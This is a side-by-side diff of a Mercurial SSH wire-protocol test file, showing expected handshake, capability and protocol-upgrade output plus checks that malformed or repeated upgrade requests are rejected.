1008 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
1009 |
|
1009 | |||
1010 | $ cd .. |
|
1010 | $ cd .. | |
1011 |
|
1011 | |||
1012 | $ hg --config experimental.sshpeer.advertise-v2=true --debug debugpeer ssh://user@dummy/server |
|
1012 | $ hg --config experimental.sshpeer.advertise-v2=true --debug debugpeer ssh://user@dummy/server | |
1013 | running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !) |
|
1013 | running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !) | |
1014 | running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !) |
|
1014 | running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !) | |
1015 | sending upgrade request: * proto=exp-ssh-v2-0001 (glob) |
|
1015 | sending upgrade request: * proto=exp-ssh-v2-0001 (glob) | |
1016 | devel-peer-request: hello+between |
|
1016 | devel-peer-request: hello+between | |
1017 | devel-peer-request: pairs: 81 bytes |
|
1017 | devel-peer-request: pairs: 81 bytes | |
1018 | sending hello command |
|
1018 | sending hello command | |
1019 | sending between command |
|
1019 | sending between command | |
1020 | protocol upgraded to exp-ssh-v2-0001 |
|
1020 | protocol upgraded to exp-ssh-v2-0001 | |
1021 | remote: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
1021 | remote: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
1022 | devel-peer-request: protocaps |
|
1022 | devel-peer-request: protocaps | |
1023 | devel-peer-request: caps: * bytes (glob) |
|
1023 | devel-peer-request: caps: * bytes (glob) | |
1024 | sending protocaps command |
|
1024 | sending protocaps command | |
1025 | url: ssh://user@dummy/server |
|
1025 | url: ssh://user@dummy/server | |
1026 | local: no |
|
1026 | local: no | |
1027 | pushable: yes |
|
1027 | pushable: yes | |
1028 |
|
1028 | |||
1029 | Verify the peer has capabilities |
|
1029 | Verify the peer has capabilities | |
1030 |
|
1030 | |||
1031 | $ hg --config experimental.sshpeer.advertise-v2=true --debug debugcapabilities ssh://user@dummy/server |
|
1031 | $ hg --config experimental.sshpeer.advertise-v2=true --debug debugcapabilities ssh://user@dummy/server | |
1032 | running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !) |
|
1032 | running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !) | |
1033 | running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !) |
|
1033 | running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !) | |
1034 | sending upgrade request: * proto=exp-ssh-v2-0001 (glob) |
|
1034 | sending upgrade request: * proto=exp-ssh-v2-0001 (glob) | |
1035 | devel-peer-request: hello+between |
|
1035 | devel-peer-request: hello+between | |
1036 | devel-peer-request: pairs: 81 bytes |
|
1036 | devel-peer-request: pairs: 81 bytes | |
1037 | sending hello command |
|
1037 | sending hello command | |
1038 | sending between command |
|
1038 | sending between command | |
1039 | protocol upgraded to exp-ssh-v2-0001 |
|
1039 | protocol upgraded to exp-ssh-v2-0001 | |
1040 | remote: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
1040 | remote: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
1041 | devel-peer-request: protocaps |
|
1041 | devel-peer-request: protocaps | |
1042 | devel-peer-request: caps: * bytes (glob) |
|
1042 | devel-peer-request: caps: * bytes (glob) | |
1043 | sending protocaps command |
|
1043 | sending protocaps command | |
1044 | Main capabilities: |
|
1044 | Main capabilities: | |
1045 | batch |
|
1045 | batch | |
1046 | branchmap |
|
1046 | branchmap | |
1047 | $USUAL_BUNDLE2_CAPS_SERVER$ |
|
1047 | $USUAL_BUNDLE2_CAPS_SERVER$ | |
1048 | changegroupsubset |
|
1048 | changegroupsubset | |
1049 | getbundle |
|
1049 | getbundle | |
1050 | known |
|
1050 | known | |
1051 | lookup |
|
1051 | lookup | |
1052 | protocaps |
|
1052 | protocaps | |
1053 | pushkey |
|
1053 | pushkey | |
1054 | streamreqs=generaldelta,revlogv1 |
|
1054 | streamreqs=generaldelta,revlogv1 | |
1055 | unbundle=HG10GZ,HG10BZ,HG10UN |
|
1055 | unbundle=HG10GZ,HG10BZ,HG10UN | |
1056 | unbundlehash |
|
1056 | unbundlehash | |
1057 | Bundle2 capabilities: |
|
1057 | Bundle2 capabilities: | |
1058 | HG20 |
|
1058 | HG20 | |
1059 | bookmarks |
|
1059 | bookmarks | |
1060 | changegroup |
|
1060 | changegroup | |
1061 | 01 |
|
1061 | 01 | |
1062 | 02 |
|
1062 | 02 | |
1063 | digests |
|
1063 | digests | |
1064 | md5 |
|
1064 | md5 | |
1065 | sha1 |
|
1065 | sha1 | |
1066 | sha512 |
|
1066 | sha512 | |
1067 | error |
|
1067 | error | |
1068 | abort |
|
1068 | abort | |
1069 | unsupportedcontent |
|
1069 | unsupportedcontent | |
1070 | pushraced |
|
1070 | pushraced | |
1071 | pushkey |
|
1071 | pushkey | |
1072 | hgtagsfnodes |
|
1072 | hgtagsfnodes | |
1073 | listkeys |
|
1073 | listkeys | |
1074 | phases |
|
1074 | phases | |
1075 | heads |
|
1075 | heads | |
1076 | pushkey |
|
1076 | pushkey | |
1077 | remote-changegroup |
|
1077 | remote-changegroup | |
1078 | http |
|
1078 | http | |
1079 | https |
|
1079 | https | |
1080 | rev-branch-cache |
|
1080 | rev-branch-cache | |
1081 |
|
1081 | |||
1082 | Command after upgrade to version 2 is processed |
|
1082 | Command after upgrade to version 2 is processed | |
1083 |
|
1083 | |||
1084 | $ cd server |
|
1084 | $ cd server | |
1085 |
|
1085 | |||
1086 | $ hg debugwireproto --localssh --peer raw << EOF |
|
1086 | $ hg debugwireproto --localssh --peer raw << EOF | |
1087 | > raw |
|
1087 | > raw | |
1088 | > upgrade this-is-some-token proto=exp-ssh-v2-0001\n |
|
1088 | > upgrade this-is-some-token proto=exp-ssh-v2-0001\n | |
1089 | > hello\n |
|
1089 | > hello\n | |
1090 | > between\n |
|
1090 | > between\n | |
1091 | > pairs 81\n |
|
1091 | > pairs 81\n | |
1092 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1092 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1093 | > readline |
|
1093 | > readline | |
1094 | > readline |
|
1094 | > readline | |
1095 | > readline |
|
1095 | > readline | |
1096 | > raw |
|
1096 | > raw | |
1097 | > hello\n |
|
1097 | > hello\n | |
1098 | > readline |
|
1098 | > readline | |
1099 | > readline |
|
1099 | > readline | |
1100 | > EOF |
|
1100 | > EOF | |
1101 | using raw connection to peer |
|
1101 | using raw connection to peer | |
1102 | i> write(153) -> 153: |
|
1102 | i> write(153) -> 153: | |
1103 | i> upgrade this-is-some-token proto=exp-ssh-v2-0001\n |
|
1103 | i> upgrade this-is-some-token proto=exp-ssh-v2-0001\n | |
1104 | i> hello\n |
|
1104 | i> hello\n | |
1105 | i> between\n |
|
1105 | i> between\n | |
1106 | i> pairs 81\n |
|
1106 | i> pairs 81\n | |
1107 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1107 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1108 | o> readline() -> 44: |
|
1108 | o> readline() -> 44: | |
1109 | o> upgraded this-is-some-token exp-ssh-v2-0001\n |
|
1109 | o> upgraded this-is-some-token exp-ssh-v2-0001\n | |
1110 | o> readline() -> 4: |
|
1110 | o> readline() -> 4: | |
1111 | o> 412\n |
|
1111 | o> 412\n | |
1112 | o> readline() -> 413: |
|
1112 | o> readline() -> 413: | |
1113 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
1113 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
1114 | i> write(6) -> 6: |
|
1114 | i> write(6) -> 6: | |
1115 | i> hello\n |
|
1115 | i> hello\n | |
1116 | o> readline() -> 4: |
|
1116 | o> readline() -> 4: | |
1117 | o> 397\n |
|
1117 | o> 397\n | |
1118 | o> readline() -> 397: |
|
1118 | o> readline() -> 397: | |
1119 | o> capabilities: branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
1119 | o> capabilities: branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
1120 |
|
1120 | |||
1121 | Multiple upgrades is not allowed |
|
1121 | Multiple upgrades is not allowed | |
1122 |
|
1122 | |||
1123 | $ hg debugwireproto --localssh --peer raw << EOF |
|
1123 | $ hg debugwireproto --localssh --peer raw << EOF | |
1124 | > raw |
|
1124 | > raw | |
1125 | > upgrade this-is-some-token proto=exp-ssh-v2-0001\n |
|
1125 | > upgrade this-is-some-token proto=exp-ssh-v2-0001\n | |
1126 | > hello\n |
|
1126 | > hello\n | |
1127 | > between\n |
|
1127 | > between\n | |
1128 | > pairs 81\n |
|
1128 | > pairs 81\n | |
1129 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1129 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1130 | > readline |
|
1130 | > readline | |
1131 | > readline |
|
1131 | > readline | |
1132 | > readline |
|
1132 | > readline | |
1133 | > raw |
|
1133 | > raw | |
1134 | > upgrade another-token proto=irrelevant\n |
|
1134 | > upgrade another-token proto=irrelevant\n | |
1135 | > hello\n |
|
1135 | > hello\n | |
1136 | > readline |
|
1136 | > readline | |
1137 | > readavailable |
|
1137 | > readavailable | |
1138 | > EOF |
|
1138 | > EOF | |
1139 | using raw connection to peer |
|
1139 | using raw connection to peer | |
1140 | i> write(153) -> 153: |
|
1140 | i> write(153) -> 153: | |
1141 | i> upgrade this-is-some-token proto=exp-ssh-v2-0001\n |
|
1141 | i> upgrade this-is-some-token proto=exp-ssh-v2-0001\n | |
1142 | i> hello\n |
|
1142 | i> hello\n | |
1143 | i> between\n |
|
1143 | i> between\n | |
1144 | i> pairs 81\n |
|
1144 | i> pairs 81\n | |
1145 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1145 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1146 | o> readline() -> 44: |
|
1146 | o> readline() -> 44: | |
1147 | o> upgraded this-is-some-token exp-ssh-v2-0001\n |
|
1147 | o> upgraded this-is-some-token exp-ssh-v2-0001\n | |
1148 | o> readline() -> 4: |
|
1148 | o> readline() -> 4: | |
1149 | o> 412\n |
|
1149 | o> 412\n | |
1150 | o> readline() -> 413: |
|
1150 | o> readline() -> 413: | |
1151 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
1151 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
1152 | i> write(45) -> 45: |
|
1152 | i> write(45) -> 45: | |
1153 | i> upgrade another-token proto=irrelevant\n |
|
1153 | i> upgrade another-token proto=irrelevant\n | |
1154 | i> hello\n |
|
1154 | i> hello\n | |
1155 | o> readline() -> 1: |
|
1155 | o> readline() -> 1: | |
1156 | o> \n |
|
1156 | o> \n | |
1157 | o> read(-1) -> 0: |
|
|||
1158 | e> read(-1) -> 42: |
|
1157 | e> read(-1) -> 42: | |
1159 | e> cannot upgrade protocols multiple times\n |
|
1158 | e> cannot upgrade protocols multiple times\n | |
1160 | e> -\n |
|
1159 | e> -\n | |
1161 |
|
1160 | |||
1162 | Malformed upgrade request line (not exactly 3 space delimited tokens) |
|
1161 | Malformed upgrade request line (not exactly 3 space delimited tokens) | |
1163 |
|
1162 | |||
1164 | $ hg debugwireproto --localssh --peer raw << EOF |
|
1163 | $ hg debugwireproto --localssh --peer raw << EOF | |
1165 | > raw |
|
1164 | > raw | |
1166 | > upgrade\n |
|
1165 | > upgrade\n | |
1167 | > readline |
|
1166 | > readline | |
1168 | > EOF |
|
1167 | > EOF | |
1169 | using raw connection to peer |
|
1168 | using raw connection to peer | |
1170 | i> write(8) -> 8: |
|
1169 | i> write(8) -> 8: | |
1171 | i> upgrade\n |
|
1170 | i> upgrade\n | |
1172 | o> readline() -> 2: |
|
1171 | o> readline() -> 2: | |
1173 | o> 0\n |
|
1172 | o> 0\n | |
1174 |
|
1173 | |||
1175 | $ hg debugwireproto --localssh --peer raw << EOF |
|
1174 | $ hg debugwireproto --localssh --peer raw << EOF | |
1176 | > raw |
|
1175 | > raw | |
1177 | > upgrade token\n |
|
1176 | > upgrade token\n | |
1178 | > readline |
|
1177 | > readline | |
1179 | > EOF |
|
1178 | > EOF | |
1180 | using raw connection to peer |
|
1179 | using raw connection to peer | |
1181 | i> write(14) -> 14: |
|
1180 | i> write(14) -> 14: | |
1182 | i> upgrade token\n |
|
1181 | i> upgrade token\n | |
1183 | o> readline() -> 2: |
|
1182 | o> readline() -> 2: | |
1184 | o> 0\n |
|
1183 | o> 0\n | |
1185 |
|
1184 | |||
1186 | $ hg debugwireproto --localssh --peer raw << EOF |
|
1185 | $ hg debugwireproto --localssh --peer raw << EOF | |
1187 | > raw |
|
1186 | > raw | |
1188 | > upgrade token foo=bar extra-token\n |
|
1187 | > upgrade token foo=bar extra-token\n | |
1189 | > readline |
|
1188 | > readline | |
1190 | > EOF |
|
1189 | > EOF | |
1191 | using raw connection to peer |
|
1190 | using raw connection to peer | |
1192 | i> write(34) -> 34: |
|
1191 | i> write(34) -> 34: | |
1193 | i> upgrade token foo=bar extra-token\n |
|
1192 | i> upgrade token foo=bar extra-token\n | |
1194 | o> readline() -> 2: |
|
1193 | o> readline() -> 2: | |
1195 | o> 0\n |
|
1194 | o> 0\n | |
1196 |
|
1195 | |||
1197 | Upgrade request to unsupported protocol is ignored |
|
1196 | Upgrade request to unsupported protocol is ignored | |
1198 |
|
1197 | |||
1199 | $ hg debugwireproto --localssh --peer raw << EOF |
|
1198 | $ hg debugwireproto --localssh --peer raw << EOF | |
1200 | > raw |
|
1199 | > raw | |
1201 | > upgrade this-is-some-token proto=unknown1,unknown2\n |
|
1200 | > upgrade this-is-some-token proto=unknown1,unknown2\n | |
1202 | > readline |
|
1201 | > readline | |
1203 | > raw |
|
1202 | > raw | |
1204 | > hello\n |
|
1203 | > hello\n | |
1205 | > readline |
|
1204 | > readline | |
1206 | > readline |
|
1205 | > readline | |
1207 | > raw |
|
1206 | > raw | |
1208 | > between\n |
|
1207 | > between\n | |
1209 | > pairs 81\n |
|
1208 | > pairs 81\n | |
1210 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1209 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1211 | > readline |
|
1210 | > readline | |
1212 | > readline |
|
1211 | > readline | |
1213 | > EOF |
|
1212 | > EOF | |
1214 | using raw connection to peer |
|
1213 | using raw connection to peer | |
1215 | i> write(51) -> 51: |
|
1214 | i> write(51) -> 51: | |
1216 | i> upgrade this-is-some-token proto=unknown1,unknown2\n |
|
1215 | i> upgrade this-is-some-token proto=unknown1,unknown2\n | |
1217 | o> readline() -> 2: |
|
1216 | o> readline() -> 2: | |
1218 | o> 0\n |
|
1217 | o> 0\n | |
1219 | i> write(6) -> 6: |
|
1218 | i> write(6) -> 6: | |
1220 | i> hello\n |
|
1219 | i> hello\n | |
1221 | o> readline() -> 4: |
|
1220 | o> readline() -> 4: | |
1222 | o> 413\n |
|
1221 | o> 413\n | |
1223 | o> readline() -> 413: |
|
1222 | o> readline() -> 413: | |
1224 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
1223 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
1225 | i> write(98) -> 98: |
|
1224 | i> write(98) -> 98: | |
1226 | i> between\n |
|
1225 | i> between\n | |
1227 | i> pairs 81\n |
|
1226 | i> pairs 81\n | |
1228 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1227 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1229 | o> readline() -> 2: |
|
1228 | o> readline() -> 2: | |
1230 | o> 1\n |
|
1229 | o> 1\n | |
1231 | o> readline() -> 1: |
|
1230 | o> readline() -> 1: | |
1232 | o> \n |
|
1231 | o> \n | |
1233 |
|
1232 | |||
1234 | Upgrade request must be followed by hello + between |
|
1233 | Upgrade request must be followed by hello + between | |
1235 |
|
1234 | |||
1236 | $ hg debugwireproto --localssh --peer raw << EOF |
|
1235 | $ hg debugwireproto --localssh --peer raw << EOF | |
1237 | > raw |
|
1236 | > raw | |
1238 | > upgrade token proto=exp-ssh-v2-0001\n |
|
1237 | > upgrade token proto=exp-ssh-v2-0001\n | |
1239 | > invalid\n |
|
1238 | > invalid\n | |
1240 | > readline |
|
1239 | > readline | |
1241 | > readavailable |
|
1240 | > readavailable | |
1242 | > EOF |
|
1241 | > EOF | |
1243 | using raw connection to peer |
|
1242 | using raw connection to peer | |
1244 | i> write(44) -> 44: |
|
1243 | i> write(44) -> 44: | |
1245 | i> upgrade token proto=exp-ssh-v2-0001\n |
|
1244 | i> upgrade token proto=exp-ssh-v2-0001\n | |
1246 | i> invalid\n |
|
1245 | i> invalid\n | |
1247 | o> readline() -> 1: |
|
1246 | o> readline() -> 1: | |
1248 | o> \n |
|
1247 | o> \n | |
1249 | o> read(-1) -> 0: |
|
|||
1250 | e> read(-1) -> 46: |
|
1248 | e> read(-1) -> 46: | |
1251 | e> malformed handshake protocol: missing hello\n |
|
1249 | e> malformed handshake protocol: missing hello\n | |
1252 | e> -\n |
|
1250 | e> -\n | |
1253 |
|
1251 | |||
1254 | $ hg debugwireproto --localssh --peer raw << EOF |
|
1252 | $ hg debugwireproto --localssh --peer raw << EOF | |
1255 | > raw |
|
1253 | > raw | |
1256 | > upgrade token proto=exp-ssh-v2-0001\n |
|
1254 | > upgrade token proto=exp-ssh-v2-0001\n | |
1257 | > hello\n |
|
1255 | > hello\n | |
1258 | > invalid\n |
|
1256 | > invalid\n | |
1259 | > readline |
|
1257 | > readline | |
1260 | > readavailable |
|
1258 | > readavailable | |
1261 | > EOF |
|
1259 | > EOF | |
1262 | using raw connection to peer |
|
1260 | using raw connection to peer | |
1263 | i> write(50) -> 50: |
|
1261 | i> write(50) -> 50: | |
1264 | i> upgrade token proto=exp-ssh-v2-0001\n |
|
1262 | i> upgrade token proto=exp-ssh-v2-0001\n | |
1265 | i> hello\n |
|
1263 | i> hello\n | |
1266 | i> invalid\n |
|
1264 | i> invalid\n | |
1267 | o> readline() -> 1: |
|
1265 | o> readline() -> 1: | |
1268 | o> \n |
|
1266 | o> \n | |
1269 | o> read(-1) -> 0: |
|
|||
1270 | e> read(-1) -> 48: |
|
1267 | e> read(-1) -> 48: | |
1271 | e> malformed handshake protocol: missing between\n |
|
1268 | e> malformed handshake protocol: missing between\n | |
1272 | e> -\n |
|
1269 | e> -\n | |
1273 |
|
1270 | |||
1274 | $ hg debugwireproto --localssh --peer raw << EOF |
|
1271 | $ hg debugwireproto --localssh --peer raw << EOF | |
1275 | > raw |
|
1272 | > raw | |
1276 | > upgrade token proto=exp-ssh-v2-0001\n |
|
1273 | > upgrade token proto=exp-ssh-v2-0001\n | |
1277 | > hello\n |
|
1274 | > hello\n | |
1278 | > between\n |
|
1275 | > between\n | |
1279 | > invalid\n |
|
1276 | > invalid\n | |
1280 | > readline |
|
1277 | > readline | |
1281 | > readavailable |
|
1278 | > readavailable | |
1282 | > EOF |
|
1279 | > EOF | |
1283 | using raw connection to peer |
|
1280 | using raw connection to peer | |
1284 | i> write(58) -> 58: |
|
1281 | i> write(58) -> 58: | |
1285 | i> upgrade token proto=exp-ssh-v2-0001\n |
|
1282 | i> upgrade token proto=exp-ssh-v2-0001\n | |
1286 | i> hello\n |
|
1283 | i> hello\n | |
1287 | i> between\n |
|
1284 | i> between\n | |
1288 | i> invalid\n |
|
1285 | i> invalid\n | |
1289 | o> readline() -> 1: |
|
1286 | o> readline() -> 1: | |
1290 | o> \n |
|
1287 | o> \n | |
1291 | o> read(-1) -> 0: |
|
|||
1292 | e> read(-1) -> 49: |
|
1288 | e> read(-1) -> 49: | |
1293 | e> malformed handshake protocol: missing pairs 81\n |
|
1289 | e> malformed handshake protocol: missing pairs 81\n | |
1294 | e> -\n |
|
1290 | e> -\n | |
1295 |
|
1291 | |||
1296 | Legacy commands are not exposed to version 2 of protocol |
|
1292 | Legacy commands are not exposed to version 2 of protocol | |
1297 |
|
1293 | |||
1298 | TODO re-enable these once we're back to actually using v2 commands |
|
1294 | TODO re-enable these once we're back to actually using v2 commands | |
1299 |
|
1295 | |||
1300 | $ hg --config experimental.sshpeer.advertise-v2=true debugwireproto --localssh << EOF |
|
1296 | $ hg --config experimental.sshpeer.advertise-v2=true debugwireproto --localssh << EOF | |
1301 | > command branches |
|
1297 | > command branches | |
1302 | > nodes 0000000000000000000000000000000000000000 |
|
1298 | > nodes 0000000000000000000000000000000000000000 | |
1303 | > EOF |
|
1299 | > EOF | |
1304 | creating ssh peer from handshake results |
|
1300 | creating ssh peer from handshake results | |
1305 | sending branches command |
|
1301 | sending branches command | |
1306 | response: |
|
1302 | response: | |
1307 |
|
1303 | |||
1308 | $ hg --config experimental.sshpeer.advertise-v2=true debugwireproto --localssh << EOF |
|
1304 | $ hg --config experimental.sshpeer.advertise-v2=true debugwireproto --localssh << EOF | |
1309 | > command changegroup |
|
1305 | > command changegroup | |
1310 | > roots 0000000000000000000000000000000000000000 |
|
1306 | > roots 0000000000000000000000000000000000000000 | |
1311 | > EOF |
|
1307 | > EOF | |
1312 | creating ssh peer from handshake results |
|
1308 | creating ssh peer from handshake results | |
1313 | sending changegroup command |
|
1309 | sending changegroup command | |
1314 | response: |
|
1310 | response: | |
1315 |
|
1311 | |||
1316 | $ hg --config experimental.sshpeer.advertise-v2=true debugwireproto --localssh << EOF |
|
1312 | $ hg --config experimental.sshpeer.advertise-v2=true debugwireproto --localssh << EOF | |
1317 | > command changegroupsubset |
|
1313 | > command changegroupsubset | |
1318 | > bases 0000000000000000000000000000000000000000 |
|
1314 | > bases 0000000000000000000000000000000000000000 | |
1319 | > heads 0000000000000000000000000000000000000000 |
|
1315 | > heads 0000000000000000000000000000000000000000 | |
1320 | > EOF |
|
1316 | > EOF | |
1321 | creating ssh peer from handshake results |
|
1317 | creating ssh peer from handshake results | |
1322 | sending changegroupsubset command |
|
1318 | sending changegroupsubset command | |
1323 | response: |
|
1319 | response: | |
1324 |
|
1320 | |||
1325 | $ cd .. |
|
1321 | $ cd .. | |
1326 |
|
1322 | |||
1327 | Test listkeys for listing namespaces |
|
1323 | Test listkeys for listing namespaces | |
1328 |
|
1324 | |||
1329 | $ hg init empty |
|
1325 | $ hg init empty | |
1330 | $ cd empty |
|
1326 | $ cd empty | |
1331 | $ debugwireproto << EOF |
|
1327 | $ debugwireproto << EOF | |
1332 | > command listkeys |
|
1328 | > command listkeys | |
1333 | > namespace namespaces |
|
1329 | > namespace namespaces | |
1334 | > EOF |
|
1330 | > EOF | |
1335 | testing ssh1 |
|
1331 | testing ssh1 | |
1336 | creating ssh peer from handshake results |
|
1332 | creating ssh peer from handshake results | |
1337 | i> write(104) -> 104: |
|
1333 | i> write(104) -> 104: | |
1338 | i> hello\n |
|
1334 | i> hello\n | |
1339 | i> between\n |
|
1335 | i> between\n | |
1340 | i> pairs 81\n |
|
1336 | i> pairs 81\n | |
1341 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1337 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1342 | i> flush() -> None |
|
1338 | i> flush() -> None | |
1343 | o> readline() -> 4: |
|
1339 | o> readline() -> 4: | |
1344 | o> 413\n |
|
1340 | o> 413\n | |
1345 | o> readline() -> 413: |
|
1341 | o> readline() -> 413: | |
1346 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
1342 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
1347 | o> readline() -> 2: |
|
1343 | o> readline() -> 2: | |
1348 | o> 1\n |
|
1344 | o> 1\n | |
1349 | o> readline() -> 1: |
|
1345 | o> readline() -> 1: | |
1350 | o> \n |
|
1346 | o> \n | |
1351 | sending listkeys command |
|
1347 | sending listkeys command | |
1352 | i> write(9) -> 9: |
|
1348 | i> write(9) -> 9: | |
1353 | i> listkeys\n |
|
1349 | i> listkeys\n | |
1354 | i> write(13) -> 13: |
|
1350 | i> write(13) -> 13: | |
1355 | i> namespace 10\n |
|
1351 | i> namespace 10\n | |
1356 | i> write(10) -> 10: namespaces |
|
1352 | i> write(10) -> 10: namespaces | |
1357 | i> flush() -> None |
|
1353 | i> flush() -> None | |
1358 | o> bufferedreadline() -> 3: |
|
1354 | o> bufferedreadline() -> 3: | |
1359 | o> 30\n |
|
1355 | o> 30\n | |
1360 | o> bufferedread(30) -> 30: |
|
1356 | o> bufferedread(30) -> 30: | |
1361 | o> bookmarks\t\n |
|
1357 | o> bookmarks\t\n | |
1362 | o> namespaces\t\n |
|
1358 | o> namespaces\t\n | |
1363 | o> phases\t |
|
1359 | o> phases\t | |
1364 | response: {b'bookmarks': b'', b'namespaces': b'', b'phases': b''} |
|
1360 | response: {b'bookmarks': b'', b'namespaces': b'', b'phases': b''} | |
1365 |
|
1361 | |||
1366 | testing ssh2 |
|
1362 | testing ssh2 | |
1367 | creating ssh peer from handshake results |
|
1363 | creating ssh peer from handshake results | |
1368 | i> write(171) -> 171: |
|
1364 | i> write(171) -> 171: | |
1369 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) |
|
1365 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) | |
1370 | i> hello\n |
|
1366 | i> hello\n | |
1371 | i> between\n |
|
1367 | i> between\n | |
1372 | i> pairs 81\n |
|
1368 | i> pairs 81\n | |
1373 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1369 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1374 | i> flush() -> None |
|
1370 | i> flush() -> None | |
1375 | o> readline() -> 62: |
|
1371 | o> readline() -> 62: | |
1376 | o> upgraded * exp-ssh-v2-0001\n (glob) |
|
1372 | o> upgraded * exp-ssh-v2-0001\n (glob) | |
1377 | o> readline() -> 4: |
|
1373 | o> readline() -> 4: | |
1378 | o> 412\n |
|
1374 | o> 412\n | |
1379 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
1375 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
1380 | o> read(1) -> 1: |
|
1376 | o> read(1) -> 1: | |
1381 | o> \n |
|
1377 | o> \n | |
1382 | sending listkeys command |
|
1378 | sending listkeys command | |
1383 | i> write(9) -> 9: |
|
1379 | i> write(9) -> 9: | |
1384 | i> listkeys\n |
|
1380 | i> listkeys\n | |
1385 | i> write(13) -> 13: |
|
1381 | i> write(13) -> 13: | |
1386 | i> namespace 10\n |
|
1382 | i> namespace 10\n | |
1387 | i> write(10) -> 10: namespaces |
|
1383 | i> write(10) -> 10: namespaces | |
1388 | i> flush() -> None |
|
1384 | i> flush() -> None | |
1389 | o> bufferedreadline() -> 3: |
|
1385 | o> bufferedreadline() -> 3: | |
